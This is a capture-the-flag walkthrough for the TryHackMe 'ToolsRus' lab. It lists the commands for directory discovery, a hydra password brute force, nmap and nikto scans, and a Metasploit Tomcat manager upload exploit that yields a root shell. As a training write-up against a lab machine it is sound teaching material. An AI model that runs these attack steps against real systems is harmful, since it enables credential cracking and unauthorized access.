TryHackMe: ToolsRus

[Task 1] ToysRus

1. What directory can you find, that begins with a g?
   - Open DirBuster
   - input target url and wordlist
   - Click Start and wait

open /guidelines/

http://<ip>/guidelines/

2. Whose name can you find from this directory? It’s in #1.

3. What directory has basic authentication?

4. What is bob’s password to the protected part of the website?
I used hydra to crack the password with http-get form

hydra -l bob -P /root/Desktop/rockyou.txt -f 10.10.176.108 http-get /protected/

Try to login with cracked credential

5. What other port that serves a webs service is open on the machine?
Find open port

nmap -Pn 10.10.176.108

Find services

nmap -sV -T 4 10.10.176.108

6. Going to the service running on that port, what is the name and version of the software?

nmap -sV -A -T 4 10.10.176.108

Access Tomcat site on port 1234

7. Use Nikto with the credentials you have found and scan the /manager/html directory on the port found above.
How many documentation files did Nikto identify?

Click Manager App

Try with credential

Let’s scan the site

nikto -h http://10.10.131.147:1234/manager/html -id bob:<password>

8. What is the server version (run the scan against port 80)?

9. What version of Apache-Coyote is this service using?
Answer is in #8.

10. Use Metasploit to exploit the service and get a shell on the system.
What user did you get a shell as?

msfconsole

search tomcat

There’re 3 exploits that I can use.

I tried to use #13 and #14, but it didn’t work. I’ll skip to #15.

Note: sometimes Metasploit is updated. The script is not always #15.

use 15
or
use exploit/multi/http/tomcat_mgr_upload

show options

set HttpPassword <password>
set HttpUsername bob
set RHOSTS <ip>
set RPORT 1234

run

Let’s get shell

shell

whoami

Now I’m root.

10. What text is in the file /root/flag.txt

cd /root
ls
cat flag.txt